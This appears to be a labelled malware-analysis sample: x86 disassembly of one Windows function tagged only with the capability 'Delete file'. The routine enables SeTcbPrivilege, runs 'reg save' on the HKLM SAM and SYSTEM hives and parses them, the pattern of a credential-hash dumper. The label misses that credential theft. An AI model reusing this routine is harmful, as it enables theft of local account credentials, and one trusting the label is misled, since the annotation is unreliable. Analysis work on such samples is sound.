Function at 0x401c85
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x48
lea eax, [esp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push ebp
push esi
push edi
push eax
push 0x28
call ebx
mov ebp, dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push eax
call ebp
test eax, eax
jne 0x401cce
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Failed_to_open_process_token:__u_n
call fcn.00401c5b
pop ecx
pop ecx
call fcn.0040dab0
xor eax, eax
inc eax
jmp 0x401f1f
lea eax, [esp + 0x30]
xor edi, edi
push eax
push str.SeTcbPrivilege
push edi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x401d04
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Failed_to_lookup_Tcb_privilege:__u_n
call fcn.00401c5b
pop ecx
pop ecx
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x401cc1
mov eax, dword [esp + 0x30]
xor esi, esi
push edi
push edi
mov dword [esp + 0x44], eax
inc esi
mov eax, dword [esp + 0x3c]
push 0x10
mov dword [esp + 0x4c], eax
lea eax, [esp + 0x44]
push eax
push edi
push dword [esp + 0x2c]
mov dword [esp + 0x50], esi
mov dword [esp + 0x5c], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x401d5d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Failed_to_adjust_token_privileges:__u_n
call fcn.00401c5b
pop ecx
pop ecx
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x401f18
push dword [esp + 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
lea eax, [esp + 0x14]
push eax
push 8
call ebx
push eax
call ebp
test eax, eax
je 0x401f18
lea eax, [esp + 0x1c]
push eax
push 0
push 0
push esi
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebp
cmp eax, 0x7a
jne 0x401ddf
push dword [esp + 0x1c]
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x401ddf
lea eax, [esp + 0x1c]
push eax
push dword [esp + 0x20]
push ebx
push esi
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x401dea
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [esp + 0x14]
call edi
jmp 0x401f18
mov eax, dword [esp + 0x1c]
mov eax, dword [ebx + eax - 4]
push eax
push str._d_r_n
mov dword [esp + 0x30], eax
call fcn.00401c5b
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileW]
pop ecx
pop ecx
push str.C:_self_system.hiv
call ebx
push str.C:_self_sam.hiv
call ebx
push str.reg_save_HKLMSYSTEM_C:_self_system.hiv
call fcn.0040d957
mov dword [esp], str.reg_save_HKLMSAM_C:_self_sam.hiv
call fcn.0040d957
mov dword [esp], 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
push eax
push eax
push 3
push eax
push esi
push 0x80000000
push str.C:_self_system.hiv
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esp + 0x2c], eax
cmp eax, 0xffffffff
je 0x401ef9
lea ecx, [esp + 0x24]
mov edx, eax
push ecx
push ecx
call fcn.00401360
pop ecx
pop ecx
test eax, eax
je 0x401ef1
mov ecx, dword [esp + 0x24]
lea eax, [esp + 0x48]
push eax
call fcn.004020d3
pop ecx
test eax, eax
je 0x401ee8
xor eax, eax
push eax
push eax
push 3
push eax
push esi
push 0x80000000
push str.C:_self_sam.hiv
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x401ed9
lea eax, [esp + 0x20]
mov edx, esi
push eax
push ecx
call fcn.00401360
pop ecx
pop ecx
test eax, eax
je 0x401ed4
push dword [esp + 0x28]
mov ecx, dword [esp + 0x24]
lea eax, [esp + 0x4c]
push eax
call fcn.004021b4
pop ecx
pop ecx
mov ecx, dword [esp + 0x20]
call fcn.00401441
push esi
call edi
jmp 0x401ee8
call ebp
push eax
push str.ERROR_wmain___CreateFile__SAM_hive___0x_08x__n
call fcn.0040122e
pop ecx
pop ecx
mov ecx, dword [esp + 0x24]
call fcn.00401441
push dword [esp + 0x2c]
call edi
jmp 0x401f08
call ebp
push eax
push str.ERROR_wmain___CreateFile__SYSTEM_hive___0x_08x__n
call fcn.0040122e
pop ecx
pop ecx
push str.C:_self_system.hiv
call ebx
push str.C:_self_sam.hiv
call ebx
xor esi, esi
call fcn.0040dab0
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret